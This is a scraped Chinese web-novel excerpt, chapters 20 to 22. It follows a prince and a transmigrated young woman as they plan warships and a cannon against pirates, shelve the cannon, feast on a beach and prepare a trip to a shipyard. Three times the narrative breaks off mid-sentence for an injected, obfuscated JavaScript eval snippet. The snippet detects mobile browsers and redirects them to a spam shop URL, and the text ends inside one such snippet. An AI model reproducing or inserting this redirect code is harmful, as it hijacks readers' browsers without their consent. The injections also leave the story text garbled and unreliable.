张渠又问,“虽然这战船看起来高大如楼,如有神兵。但其中的细节之处何止千万,比如木材用料,龙骨的设计,如何做底仓防水,如何增加船体载重……这些难道方姑娘也知道?”语气有些小瞧之意。 方绾宁浅笑,“看来小张大人是个懂船的。” 张渠弯腰颔首,“不敢说懂,只是青州人皆行于海上,难免知道些皮毛。” “既然你们世代在海上讨生活,船舶发展居然还能如此之差。怪不得青州受难那么久一点也没缓过劲儿来,如今还是一座荒城。” 方绾宁不客气的说,惹得青州官员的怒目。 “别这么看着我,我说的是实话。你们仗着陆军强悍,想引海寇上岸一举歼灭,谁知他们根本不中你们的计,光是在岸边用几支火弩骚扰你们几下,就急的跳脚,知道青州的船入不得远海,却一意孤行追击敌寇,最终几万精锐葬身大海。你们怎么还不反思一下?” “海上已经被纳入了那群海寇的辖地,你们没有同等的武器与刀枪怎么敢和人叫板呢?就像我们东洲的北方,匈奴再仇恨我们也不会闯过边境,因为他们知道,我们军队的强弩,只要他们左脚踏入我们的国境线,右脚就得钉死在他们的土地上。” 方绾宁盯着张渠,言语戏谑,“小张大人,我回答你刚才的问题。“她又拿出几张图,是刚才所讲船只的内部重要零件的细节图,“我知道…不过我得和资深的船工谈谈才行,小张大人阅历浅薄,想来也不会很懂。” “你个黄毛丫头,你……” 张渠刚开口就被张冠拦下,呵斥,“不得无礼。”接着拱手作揖向渊王赔礼,“王爷,方姑娘,犬子无礼,还请恕罪。” 俞修衡上前将方绾宁遮了半身,“恕罪倒不必,今日议会本就是为了青州抗击海寇一事,绾宁也只是说了本王心里的话。要想复苏民生经济,就得将外患清理干净。” 青州官员连连称是。 “张大人,现今青州能叫来多少造船的工匠?”俞修衡问。 ”额,回殿下。青州的造船坊早已在三年前荒废了,能喊来的工匠可能寥寥无几。”官员吞吞吐吐。 俞修衡提声道:“什么?偌大一座城,都凑不齐能造出一艘船的船工嘛?” 青州官员们也万般无奈,大海已经不能作为他们的摇篮了,自然也没有船出海,造船就等于失业,会造船的也早就另谋他处。 “……下官无能。”官员们齐刷刷的下跪请罪。 方绾宁扶额苦笑,画了一晚的图稿即将沦为草纸? “属下倒知道哪儿有船工。”堂内一直未发一言的郁见深突然出声道。 20.大炮 第二十章 “郁先生你知道?”俞修衡问。 “是。”郁见深浅笑回答,“就在北阳往南的晋照东城,有一处船坞名为水沽。晋杭运河的大部分商船都是在那个地方建造而成。如果殿下需要造船的能工巧匠和各种材料,水沽定能满足要求。” “可这水沽船坞的主人是何人?本王从未在朝廷官用船坞建造名单内见过。”东洲的造船厂就那么几处,俞修衡之前还在中书省的时候阅览全国的卷宗,没有听过水沽这个名字,想来是个私人的船坞。 郁见深拱手朝俞修衡解释道:“回王爷,是属下在晋照的一个朋友经营的,早年与他有些交情,如果向他要一处地方造点小船,想必他也是会答应的。” 真是瞌睡来了递枕头,郁先生立马解决了青州的燃眉之急,要不然光凭青州这群不着调的官员们,不知道什么时候才能等到第一艘战船下水。方绾宁面露崇拜的目光看向郁见深,心里悄悄对他竖起大拇指。 我就说郁先生没那么简单,他肯定有背景,肯定!方绾宁脑里默默臆想。 等到青州官员走后,第二轮小会立马拉开,因为除了战船,另一样武器也要被方绾宁搬到东洲的历史舞台了。 方绾宁将门外的关珏和王霄叫了进来,这俩除了是俞修衡的贴身护卫,还是王府的典军,有一定的军事掌率之权。 现在议事堂内一共五人,方绾宁提前和俞修衡通过气,确保在场人员都是可信任之人后,从怀里拿出了另一份图纸。 东洲的冶铁技术已经在这片大陆上达到一定地位,锻钢相对来说也很成熟,市面也会流通刀剑,但对于一些较大型的武器,比如大刀,盔甲之类的,朝廷把控还是十分严格。这也是东洲的军队所向披靡的原因之一。 而方绾宁拿出的图纸上画着的武器,会将东洲号称“踏万军”的铁骑虐得体无完肤。 没错,就是明代的最强热武器——红衣大炮! 亮瞎你们无知的双眼吧,落后的古代生物们,请见证划时代的战争武器! “方姑娘,这是何物?”郁见深见图纸上画着黑色管状物,好奇问道。 “郁先生,这叫火炮。” “炮?” 方绾宁点头,“对,是用火药推进的一种武器,此物能将至少150丈以外的所有障碍一举清除,不管是穿着铠甲的军队还是高耸的城墙,一击即穿,绝不含糊,到时候只要我们对着海寇的船来上一炮,他们就得飘在海里跟我们说话了,哈哈哈……” 方绾宁笑得有些痴,一排锃亮的牙齿露在外面,眼睛弯弯的,让人看着心情不自觉得也非常高兴。 “这个地方是引线,到时候我们只要点燃这里,引燃尾部的火药,从而爆发巨大的气压,就能将管道内的炮弹以400公里每小时的速度发射出去,不管前方是重甲骑兵方阵还是装甲车队都能猛烈撕开一道口子,造成毁灭性打击!” 方绾宁有些激动,不小心说了几个不合时代的词,其他人听得有些懵。 “方姑娘,你说的那个什么速度?” “额,就是……嗖~的一下,反正就是很快,很强,杀伤力特别大!”说完又自顾自的憨笑。 俞修衡侧着点身盯着她的笑脸,嘴角也情不自禁的往上翘。 他自然是明白大炮的威力,但之前在应京从未接触过战争,自然也不会想到这些东西。 其他几人第一次听到此等事物,都是满腹疑团,真有方绾宁所说的那么厉害? “殿下,你知道方姑娘画的这种武器?”郁见深见一旁的渊王殿下并没有露出同等疑问的表情。 俞修衡反应过来,“哦,没有。我以前也没听过,也是昨晚绾宁才将将和我提出来的新想法,我觉得十分有趣,如果真的能造出来,不仅能让我们在与海盗对敌的时候得心应手,东洲的军队力量也能往上拔高一个层次。” “可,不知这大炮如何制造?”郁见深又问。 方绾宁回答:“郁先生,东洲有烟花吗?” “这个当然有,每逢庆典应京都有燃放。” “既然有烟花,那就是有火药咯,有火药咱们就能造大炮!”方绾宁兴奋不已,激动得将□□的制造方法说了出来,“只要我们有了□□做助推剂,再搭配能耐高温的炮管,实心的铁球,便能发挥大炮的威力了。到时候什么挡在我们面前,就用这个一炮轰开就行了!” “那我们需要做什么?”关珏在旁边提问。 方绾宁拍了拍关珏的肩膀,语气郑重,“需要勇气、毅力和耐心,关侍卫。” 关珏身体僵硬了一瞬,调动内功震开了方绾宁放在他肩膀的小手,方绾宁的手有点麻,但她依然笑脸盈盈,“哈哈,骗你的。这大炮的构造和原理我都知道,但是实际制造的话,我可能帮不到什么忙……我想,至少得要有一座高温熔炉,和很多很多基础材料吧。” 房间里的气氛并没有因为方绾宁的调笑而变得轻松,相反大家都为这个武器的即将诞生而变得异常兴奋,俞修衡在他们眼中看了异样的眸光,里面映刻着求索无厌的欲望。 俞修衡见此接过话头,“没事,绾宁,接下来的事你不用管了,我自会找手下的人去办。” 俞修衡唤来赋思,“你昨晚辛苦了一夜,先下去休息吧。” 方绾宁识趣,知道他们要说悄悄话了,便乖巧的跟着赋思出了门去。 “赋思姐姐,等我睡醒了就去给你们穿风铃啊,昨天我捡的贝壳巨好看!”方绾宁蹭着赋思的衣袖,亲昵的说。 “好,方姑娘,赋思就先谢过了。”嘴边是淡淡的笑,赋思姣好的面容在方绾宁眼中像是一朵沾着朝露的玫瑰。她忍不住有点脸红。 在庭院温柔的风中,两人调笑着走远了。 堂中的俞修衡见人走远,捏着眉头坐在椅子上闭目休息。浑身的气势陡然变得严肃,火炮如果空降在这个时代,还是出自自己这个被赶出京都的皇子手中的话,势必会引起轩然大波。 到时候不仅会引来承王的窥视,还会因怀璧之罪遭到针对打压,只怕到时候还没安稳青州,日子便又风雨飘摇。 他抬眸朝正在细细端详图纸的郁见深看去,郁先生的神态尽管未露出半点兴奋之色,但眼里却闪出熠熠的神光。 “郁先生,你觉得这武器怎么样。”俞修衡试探地问。 “如果真如方姑娘所言,这武器有如此威力,百尺之外,攻城拔寨,冲坚毁锐。能掌握在我们的手中,实在是大幸!” “郁先生觉得我们应该去制造它?你就不怕京都的人知道了,到时候我们连青州都没得待?”俞修衡突然将声音拔高,“你可知道私造武器,在东洲是多大的罪名!一旦这个消息泄露出去,那些承王的鬣狗就会盯着我们咬,到时候又会是什么罪名?私藏大规模武器?还是意图起兵谋反?我…我如今难道还要再去试探父皇的底线嘛?” 他昨晚就不该同意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529601|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绾宁今天将这图纸拿出来! “殿下何出此言?此物如今只是画在纸上的一团墨而已。方姑娘的想法始终都是待商榷,殿下,不要对未知的事物抱有过多的敌意。”郁见深察觉到了俞修衡对这件武器似乎有很深的抵触,这种毫无根据的忧虑让郁见深频频皱眉。 但俞修衡是心知肚明的,他清楚明白的知道这件武器的威力如何。它如果真的问世在自己手中,那远在京都的皇权又会在心里对他有怎样的猜忌? 父皇已经在自己身上释放过了非常多的善意,这在一个帝王的眼里,跟纵容没有分别。俞修衡对前世的亲情已经模糊了很久,逐渐被那个温柔的满头珠翠的母亲,和时而威严时而又亲近的父亲所覆盖。 君不肖则国危而民乱,君贤圣则国安而民治。这是父皇时常教导自己的话,他不想让自己成为手握利器的谋逆之人,尽管自己从没有那种想法,但你拥有这种力量就注定会被人疑心。 俞修衡觉得自己的精神有时十分割裂,明明不想忘掉另一个时空的自由,同时又被这个时代的种种所动容,逐渐被训诫、被教化。 俞修衡此刻心里发酸,心里像是有一个巨型的风洞正呼呼刮着寒风,尽管方绾宁才离开他的视线不到一盏茶,但他还是十分思念她。 想念她待自己如普通人一般,尽情在自己身边展现喜怒哀乐,她带着另一种完全不同于此世的元气,拼命将自己心里天真的,无措的,暴怒的,甚至阴暗的一面往下压。 他坐在椅子里,想到在京都时见到父皇的最后一面。他当时跪在宣政殿黑玉的地面,是如何回答那个面容倦怠的帝王的。 皇帝陛下问:儿啊,你心里到底想要的是什么? 俞修衡回答:父亲,我想要自由,无拘无束的自由! 一边他又想到在离开齐陵的马车上问方绾宁的话。 俞修衡问:你到这个世界来,最大的愿望是什么? 方绾宁回答:当然是待在你这棵大树下面,富贵风流策马扬鞭啊! 是啊,自己的初衷不就是想要个逍遥自在嘛? 俞修衡站起身,将桌面上和郁见深手中的图纸抢了过来,收进怀里。 “制造大炮一事,暂且搁置。” 郁见深还想说什么,被俞修衡抬手打断,“郁先生先去忙船坞的事吧,其他的事暂时不用理会。”说完便出了门去。 ”郁先生,如果殿下是担心,制造这武器会被应京的人发现的话,属下自然会有办法,绝不会将此事泄露出去。“关珏在一旁建议道。 郁见深听了他的话,不由嗤笑出了声,“关侍卫觉得殿下是因为这个原因才不同意的嘛” “殿下还有其他顾虑?” 郁见深将眉头舒展开来,嘴角又挂上了高深的笑意,“谁知道呢,殿下自幼聪慧,我们做好该做的事即可。” 尽管被俞修衡打断了想推进的计划,郁见深也不气恼。他朝关珏点了点头,随后便追着俞修衡离去的背影也出了门。 青州的夏季多风,尽管王府离海岸遥远,但郁见深还是在空气里闻到了咸湿的气味,前几月被海寇掠夺的食粮,如今也有新的作物在地里生长。 郁见深在城外的田地里走着,经过这十几天来的举措,青州的人心更加稳定,实业生产也在轨道上缓步前进,他戴着斗笠神情舒适地望向无边无际的天空。 我的殿下啊,不管你往哪个方向走,最终也会步入那既定的归途。 21.琥珀酒 第二十一章 俞修衡草草结束了午饭,又在房内看了今日青州的公文,像终于坐不住似的起身唤来赋思问道:“绾宁还没醒嘛?” 赋思回答:“回殿下,方姑娘早上非要穿了那贝壳才肯休息,现在只怕还未起。” 俞修衡听后失望的又坐回了椅子里,拿起笔给绾宁写起了字帖。 但似乎是心绪不定,好几个字都失了锋利,团在那里像是春季新发的嫩芽。 俞修衡实在想念她,写字顿时也没了兴致,放下了笔,去了临风榭。 起初本是拨了文晓去照顾绾宁起居,但奈何她坚持不要婢女,还说能自力更生,谁知到了门口真的就瞧见满院子没有一个婢子奴役,俞修衡顿时心生不悦。 又瞧见厢房门也未关,窗户大敞开着,任由庭院的树叶飘进屋内,他回过头对赋思,文晓二人怒目:“她不让你们伺候,你们就这样怠慢她?” 二人连忙跪地,“殿下恕罪,这些都是方姑娘的吩咐,说不习惯房里有人,还说门窗敞开着空气流通,呼吸也顺畅些。” “她让你们不留人,你们就真的放任了她去,万一府里进了外人,你们拿什么赔我……”俞修衡还想再说,却被檐下的风铃声打断了。 他转头去看那些在风里互相碰撞的贝壳,发出的声音清脆得像余杭最名贵的青釉盏出炉时的裂响。 俞修衡心里有了片刻的安宁,他没有再责难赋思二人,大步走进了屋内。 房间内摆设考究,墙面的挂画细看皆是出自大家手笔,楠木的高几上端放着墨白釉竹瓶,斜插着几朵含苞的荷花,脚踩着的是青色花鸟纹栽绒毯,俞修衡拨开红玉做的珠帘,见软床上的女孩子正睡得香甜,屋外的风顺着窗柩吹拂在她稚嫩的脸上,睫毛在风里细细的颤。 俞修衡就坐在离她不远的地方,痴痴望了半晌。 进女子的闺房本身就十分失礼,若还做出其他不得体的举动,实在是有伤绾宁的名声。他忍住了想靠近些的心思,然后松了肩膀,从架子上拿出一本书开始读。 不知道他是在读书,还是在读自己心里的苦。 方绾宁醒来的时候,纱幔边投下一片巨大的阴影,她定了定神,抬手遮光,便看见俞修衡正坐在窗边的小几上看书。 “你怎么来了?” 俞修衡见她醒来,放下了书,答非所问,“你廊下的风铃可有我的份?” “啊?”方绾宁坐起身来,慢吞吞的开始穿衣,“你想要?” 俞修衡点头。 “那些是女孩子才喜欢的好吧,你一个王爷要什么样子的没有?”方绾宁下了床,一边走向他一边整理衣裳,“你到底来找我什么事?” 俞修衡倒了一杯茶递给她,“是大炮的事儿,那个…可能暂时得搁置了。” 方绾宁接过,饮完一杯,又朝他伸出了手,“怎么了?难道是有什么条件没办法满足?“ 俞修衡自然的就着她举着的杯子又倒了七分满的茶,“我问过郁先生,他说了很多,大概的意思是冶铁的条件不行吧,达不到我们想要的那种工艺。” “嗯…好吧,”她眼珠转了转思索了一阵,“其实也好,大炮这东西可能太超前了,万一被滥用的话实在是罪过。”睡了一天,方绾宁的小脸终于扫去了疲惫,她端着茶杯小口的抿着,眼神停留在窗外的小叶香樟上。 “饿了吗?我带你出门吃东西去,然后可以去其他地方转转。这半月来城里安定不少,比刚入城的时候热闹了许多。”俞修衡问。 “可以!不过我们去找杨老伯吧,去抓点鱼,然后就在海滩上搭架子烤鱼怎么样?” “行。”俞修衡答应了下来,“那我唤赋思进来给你梳头?” “不用,把文晓姐留给我就行,她梳的头发好看着呢。倒是你,先去换身衣服吧,普通一点的,你穿着王爷的衣服一点也不像是去烤鱼的,倒像是去吃现成的,可别吓到杨老伯给你磕头行礼。”可能是俞修衡的纵容,方绾宁现在也越来越肆无忌惮。特别是关珏不在的时候,说话也会不由自主的朝另一个时空的风格靠拢。 “好,那你等我。”俞修衡起身走了出去,步伐沉稳飘逸,活脱脱一个古人的样子,方绾宁盯着他的身影不禁浅笑。 他们到达海滩边杨老伯的小屋时,太阳的温度已经没有那么炎热了,浩瀚无涯的大海映衬着日光,在宁静的天空下海水如万片碎金般动荡闪烁。 “杨老伯!”方绾宁见着那个正在收网的佝偻背影大喊着,飞奔跑去。 老渔夫回过头,见是昨天那个笑起来像琥珀酒的小姑娘,“宁丫头。” “杨老伯,您先别收网,快带我去海里捞两条鱼吧,我今天晚饭还没着落呢。”方绾宁挽着老渔夫的胳膊,仰脸对着他笑。“昨天太匆忙没来得及搭您的摇橹,今天正好了!” 老渔夫也眉开眼笑的答应,“好哇,刚好我海里还有没收的蟹笼,今晚定让你饱餐一顿。” “真的?那走,走,赶快,要不然太阳就落山了。”说着就拉着老渔夫往海边走去,像是想起什么,又回头去朝立在一旁的俞修衡说:“王爷,麻烦你就留在岸上等我们回来吧,哦对了,你可以先把火升起来,然后等着我们回来烤鱼吃!” 这次方绾宁没等到关珏呵斥放肆的声音喊出口,便拉着老渔夫急匆匆的走远了。 “殿下,方姑娘数次对您无礼,按东洲的律法该……”关珏出声。 “该什么,今晚你不吃鱼了?还不快来帮忙。”俞修衡打断关珏的话,进屋去找柴火了。 关珏看见王爷的脸上竟没有半点不耐,笑呵呵的真的去忙活了,也不知道这方绾宁什么来头,竟蛊惑得他们王爷一点不在乎皇子的体面。 “还不来?”俞修衡已经将一堆柴火抱了出来,堆在屋前准备生火,盯着木材老半天却不知从何下手,略显尴尬,求助似的看向关珏,“我好像不会生火,你会吗?关珏。” 关珏无奈,“……属下会,殿下,交给我吧。”关珏走了过去,蹲下身拿过了火折子,没一会儿便点燃了木材,橘黄色的火焰发出噼啪的响声,照亮了两人身前的三寸之地。 俞修衡换了窄袖的衣衫,款式朴素了不少,但料子仍是讲究,镶边宝蓝撒花锻面,腰上扣着和田玉带勾,腰间带着一块玛瑙摇光佩,脚上配了一双六合乌皮靴,神色悠然地坐在海滩上,遥望海里那艘小船,面上的表情时而紧张时又展颜,整个人就光坐在那里也是通身天潢贵胄的骄矜模样。 “哦,对了。关珏你的轻功怎么样?”俞修衡突然问道。 关珏不解,但还是如实回答:“回殿下,家传轻功踏云步在江湖上也算排的上名,属下已经练到了第七重。” “那你能仅凭一片树叶渡江嘛?” “嗯…依照属下现在的功法程度,还不能。”关珏顿感惭愧,“但属下会加倍努力,争取达到王爷的期许。” 俞修衡不禁失笑,“别紧张,我就是好奇问一下,可没有对你有什么重大期盼,而且关珏你现在已经很出色了,不必太辛苦。” 离岸不远处一艘小船在海里晃晃悠悠,两道模糊的人影在往船上拖着渔网。不知网里有什么宝贝,瘦小的那道身影手里拿着那东西笑得花枝乱颤,俞修衡也跟着心情大好。 胸中似有快哉风,盛满举世暖荧灯。 湛蓝深邃的天空下是他想要的未来。 直到吃上烤鱼,星月早已点满了夜空,海风将篝火吹旺,在沙滩上燃得熊熊。 方绾宁怕烫,小口的吃又觉着不过瘾,便鼓起她的腮帮子使劲吹那烤得金黄的一条银鲳。 老渔夫从屋里拿出一坛酒,将面前的三个酒碗斟得满满的。 “哎,杨老伯,我们这里可有四个人,你这三个酒碗,我们怎么分?”方绾宁不解。 “哦,对,将你这个小丫头忘了。”老渔夫拍了拍额头,又去屋里拿了一个新碗出来,当着方绾宁的面倒上了水。 “哇,杨老伯,你双标吧?为什么不给我也倒酒。”方绾宁气呼呼,嘴里嚼着鱼肉就开始叫嚣,“你这也太小气了吧。” “什么标?”刚才方绾宁的话含糊不清,老渔夫听了个半懂,“况且你个小丫头还想喝酒?美的你。”说完老渔夫就将酒碗递给了俞修衡,关珏二人。 关珏接过两个酒碗,准备先替王爷尝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544451|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,却被俞修衡低声呵道:“这样太失礼了,不用试,关珏。” “嗨,试呗,你们这些官老爷就是规矩多,这可是我自个儿酿的青州琥珀酒,地地道道绝对纯正。”老渔夫摸了摸下巴上长满的白须,饮了一口,甘冽的味道让他神思飘远,“以前青州还繁盛的时候,来过这儿的人都会去城中酒肆喝上一碗,既解乏又暖身,大醉一场,隔天一早又能奔赴各自的旅途咯。“ 俞修衡和关珏看着碗里橙黄色的酒各自饮了一口,皆被这酒里的香醇甘糯浸满了整个口腔。 “杨老伯,这可真是好酒!”俞修衡赞道。 看着他们喝完酒眼神发亮的样子,方绾宁也心痒,“我也要喝,我也要喝。”说着就去抢俞修衡手里的酒碗,“我成年了,给我喝一口。” 方绾宁也顾不上手里外焦里嫩的银鲳了,随意搁在一旁就去扯俞修衡的袖子。俞修衡仗着自己身形比她高大,将酒碗举得高高的不让她得逞,“绾宁,这酒烈,我去寻些不醉人的果子酒给你喝,可好?” 俞修衡语气温柔,可方绾宁还是被他嘴角噙着坏笑的样子气的恼怒,心一横一把扑了上去,将俞修衡撞得瘫倒在沙子上,碗里的酒也撒得他满脸,顺着嘴角流进了脖子下的衣衫里,一时间俞修衡浸满了琥珀酒的浓郁酒香。 方绾宁也跟着倒在了俞修衡身上,被他身上的酒香熏了个满怀。她凑近俞修衡的下颌,用鼻尖使劲闻了闻这味道,“果然好香。” 方绾宁呼出的气息喷洒在俞修衡的颈侧,又甜又热,他不自然的扭过了头,耳根染上了一抹红晕,心也跳得飞快。 方绾宁直起身,拿过空空如也的酒碗可惜来哉。也不管被她扑倒的俞修衡,端着酒碗就去找老渔夫讨酒喝了。 老渔夫此时醉了大半,正端着酒杯在天幕下“咿咿呀呀”唱着青州的小调。方绾宁悄悄摸过去,趁他不注意倒了一碗酒。 琥珀酒入喉只觉得辛辣,咽到肚子里半刻,浑身都燥热了起来,一股浓烈的酒意顺着脉络直冲天灵盖,方绾宁饮尽一杯就觉得天旋地转。 而一旁的关珏,正扶起被方绾宁撞到在地的俞修衡,将他身上沾满的沙土悉数拍了下来,一边没好气地斥责方绾宁。 谁知说了半天也不见王爷给反应,要是之前,王爷早该打断他的话了,关珏疑惑的转过头,却看见自家王爷脸上不仅有未干涸的酒渍,还有点点潮红。 可能是篝火燃的正旺,亦或是那酒实在是性烈,关珏没再注意。 只有俞修衡知道,他的胸膛里有一只小鹿在吭哧乱撞。 最后方绾宁在接着喝第二杯琥珀酒的时候,就彻底醉倒了,被俞修衡迎着夜色抱回了王府。 刚一踏进门,便看见了等在影壁前的郁见深。 郁见深看见王爷怀里抱着一人,神色如常,上前行礼,“殿下回来了。” “郁先生,深夜来此等我是有要事?”俞修衡顿了顿脚步,“走吧,我先去一趟临风榭将绾宁安顿好。” “正好,我想与殿下说的事也与方姑娘有关。”郁见深跟在身后回答。 “什么事?”俞修衡问。 “是造船一事,今日已经和青州府衙商议了一番,他们将派遣张渠一道去往晋照,事不宜迟,明日就出发,方姑娘也要同行。” 俞修衡拧眉回身问,“她也要去?” “当然,战船图纸既然是方姑娘所构思,她自然要去,许多细节都需要方姑娘的帮助。” 俞修衡低头看着怀里正醉得朦胧的方绾宁,立马开口拒绝,“她不去,战船的事你们自己看着图纸想办法。” 郁见深无奈,刚想劝说就见俞修衡怀里的方姑娘挣扎的下了地,站都站不稳勉强睁开眼看着郁见深,“谁…谁说我…我不去的?我不去…那…那船都下不了水,我去……我肯定去……” 不知是醉后的胡话还是仍有意识,方绾宁打了个酒嗝,又载倒在俞修衡怀里。 俞修衡脸色黑得不行,也不好再替她下决定了,还是等明天她醒来再说吧,便对郁见深说,“前往晋照一事往后推迟一天,明日再议。” 说完,重新拎起方绾宁,向临风榭走去。 22.灵犀 第二十二章 第二天日上三竿,方绾宁悠悠转醒,抱着被子懵了一阵,她想她是不是忘了什么重要的事儿? 文晓听见了房里的动静,端着一盆水走进了屋,“方姑娘,你可醒了,还有一刻钟都该摆午膳了。”文晓手脚麻利的上前想伺候她穿衣,可方绾宁不太习惯,慌忙下床自己动手。 “我有睡那么久?”方绾宁接过锦帕擦了擦脸,脑子感觉清醒多了,但又不够清醒,“我昨晚忘了什么来着?”她盯着旁边的水盆,略微思索了一下,一头扎了进去。 “哎,方姑娘!”文晓惊呼。 方绾宁脑子进了些水,总算想起来了,她猛的抬头,带起的水珠撒了一地,“我想起来了,我要公费出差了。” 俞修衡在沧澜阁的偏厅等着方绾宁过来一起用膳,也不知道昨夜郁先生的话她还记得多少,最好是全忘了。 谁知她匆匆走来,眼神一点也没落在今天的菜色上,直截了当的就提起了昨夜之事,可惜了他专门让厨房做的八宝琼浆羹。 “昨晚郁先生说战船一事事不宜迟是吧?什么时候出发?晋照是吧,公费出游嘛?” 好家伙,俞修衡原以为,她尽管没拿自己当亲人,但至少应该是朋友吧,原来是老板嘛? 俞修衡不急不缓的添了一碗汤,慢悠悠的喝了一口,“绾宁很想去?” “也不是很想,主要是造船此等大事,没我可不行。”方绾宁义正言辞。 “嗯?”俞修衡挑眉。 方绾宁的笑僵在脸上,被俞修衡看得发毛,还是硬着头皮说:“战船诸多细节都是重中之重,就比如那水密隔舱的具体制造,船底的防水,木料的选用等等都是需要我去敲定的。“” “绾宁真是博学,前世念的是工科?”方绾宁被俞修衡皮笑肉不笑的样子盯得发怵。 这个上辈子才18的小朋友气场那么强的嘛?她假装镇定了三秒就彻底败下阵来,“好吧,实话告诉你吧。”方绾宁长嘘了一口气,“青州的娱乐活动实在是太少了,好多店铺都没开门,好无聊。” 俞修衡夹了一筷子鱼肉放在方绾宁面前的碟子里,“嗯,是我委屈绾宁了。” “没有,我不是这个意思。”方绾宁有些难为情,突然又反应过来,“我们可以一起去啊。” 俞修衡夹菜的手顿在原地,复又放下筷子,抬眼对方绾宁道:“绾宁,我无诏不能出封地,三五几天也就罢了,可晋照路途遥远,往返就得二十天左右,我不能陪你去。” “这样啊,好吧。”方绾宁失落。 偏厅的空气似乎有半刻停止了流动,两人都默默的吃着菜肴,没再开口。 赋思从门外走进来,立在桌旁向俞修衡行了一礼,“王爷,您交代的事赋思已经办妥,方姑娘的衣装已收拾齐整,小食糕点厨房也已经在准备,明日一早便会备齐,您特意交代的书籍和字帖也放进了书匣,一齐放置在马车上了。” “嗯。”俞修衡淡淡点头。 方绾宁还在从愕然中没回过神来,咦?这是又让我去了? 俞修衡的目光落在方绾宁身上,轻轻蹙眉,面含担忧和无奈,“绾宁。” “啊,是!”回过神。 “晋照从属淮南道,从北阳城出发向南行进三天时间便可到达,靠近常州,其间的满河是晋杭运河的出发口,行船东达广安,南通余杭,是重要的货运集散地,城内人口驳杂,你无事不得出门,我让文晓和王霄跟着你,要出门也要带上他们知道吗?”俞修衡说完又从怀里掏出一枚青色螭纹玉佩,干净通透,无一丝杂色,左下角雕着一个镂空的衡字,俞修衡将它系在了方绾宁的腰间,“这枚玉佩不得离身,它可在任何时候保你无恙。” 方绾宁兴奋,这她了解,任何危机场合掏出这枚玉佩,都能得到一个别人无法拒绝的面子。 “睡觉也要带着嘛?” “嗯,沐浴也得带。” 方绾宁摸着那块玉佩,触手升温,特殊的油润感在掌心滑过,角落里那个镂空的“衡”字在手心攥出铭肌镂骨的触感,“我还以为你不会让我去。” “嗯,心里还是不想的。”俞修衡嘴角抿出一个微笑,“就像你说的,青州太无聊了,你要是走了,那我整天对着关珏那冷脸实在是饭也吃不下。” 守在门外的关珏耳目清明,听这话霎时间握紧了剑鞘,复又松开,这又关我什么事?关珏心里不是滋味,惹着王爷了? “等你去了晋照,我也好将青州的内政清理一番,能留到此时的官员也应该不是庸才,虽海寇这外患未清,但掐着上次他们上岸掠夺的时间,青州还是有好几个月喘息的工夫,等着你的战船下水,海寇一剿,到时候青州就算彻底安定了。 ”俞修衡面色平静,虽是在笑着,心里却藏着酸意。 方绾宁激动的心无以言表,差点泪流满面,“嗯,我肯定好好干!定不辜负王爷的厚望!”心里默默立正敬礼。 俞修衡听见这称呼脸色不太好看,“我不是你王爷。” “嘻嘻,好吧,小川。” 俞修衡这才转晴,目光深邃盯着方绾宁的皓齿,“我对你没有期望,船造不出来我只会问责郁先生,我就当你是个打酱油的,去玩儿几个月就好。” “哟嚯!” “不过……”俞修衡打断方绾宁的激切之心,“我们得约法三章。” “行行行,九章都行!你说。”方绾宁一口答应。 “第一,和我通信,我要你每一封信都要及时回复。” “这个你不说我也会给你写信的,答应,答应。” “第二,听郁先生的话,他让你干什么你可以不干,但他不让你干什么你就千万不能干。” “这个,可以啊,这有何难?” “第三,必须男装出行,不得去烟花柳巷之地,还不能喝酒。” “喂,你这是三个要求哎。” “你刚才还说九章都行的。” “嗯……好吧,好吧。” “还有,好好练字。” “还有第四?” “这不算要求,我是怕你写得我看不懂,而且你给我的信不能找人代笔。”俞修衡不想每次收到她的信都像是书册。 方绾宁也有些不好意思,但没法毛笔她实在用不惯,不过希望勤能补拙吧,总有一天得写出一手能看的字啊,要不然人长得乖乖巧巧,落笔就崩了,实在是有伤自己的颜面哦,“嗯,好,我会好好练习的。” 俞修衡心里落下一块石头,却好像是砸向没底的深谷,“那好了,吃饭吧,午膳过后你再去看看有什么要带的,去准备准备。” 方绾宁嫣然含笑,“好!” 其实方绾宁没什么可收拾的,她的小包袱早在落下山涧的时候就丢了,而且,晋照应该比青州好购物吧,到时候缺什么去那边再置就好了。况且,赋思心思细腻,早早的就准备好了所有的日常用品。 所以,一整个下午,方绾宁都在倒腾她那两串风铃,昨日本也做好了,但看着实在单调,正好在俞修衡房里搜罗了几颗玉白的珠子,实在好看,就准备拆了重新串。 忙活了好一会儿,终于完成。比之前的总体长度多了些,在风里荡来荡去,贝壳和玉珠交相呼应,撞出的声响清新悦耳。 “颜色浅一些的这一串贝壳给赋思,七彩的这一串给文晓。”方绾宁举着这两串风铃出了临风榭。 在游廊下遇见了匆忙赶路的郁见深,他身后跟着一群人,看装扮,似乎是武官。她慌忙侧身,因着手上拿着东西,只好点头向他打招呼,“郁先生。” 郁见深脸上挂着笑,“方姑娘,不知方姑娘可整理妥当?” “嗯,都准备好了。”方绾宁回答。 “那明早见。” “嗯,郁先生慢走。” 郁见深说完便匆忙离去,留下一串清凉的风和那群武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 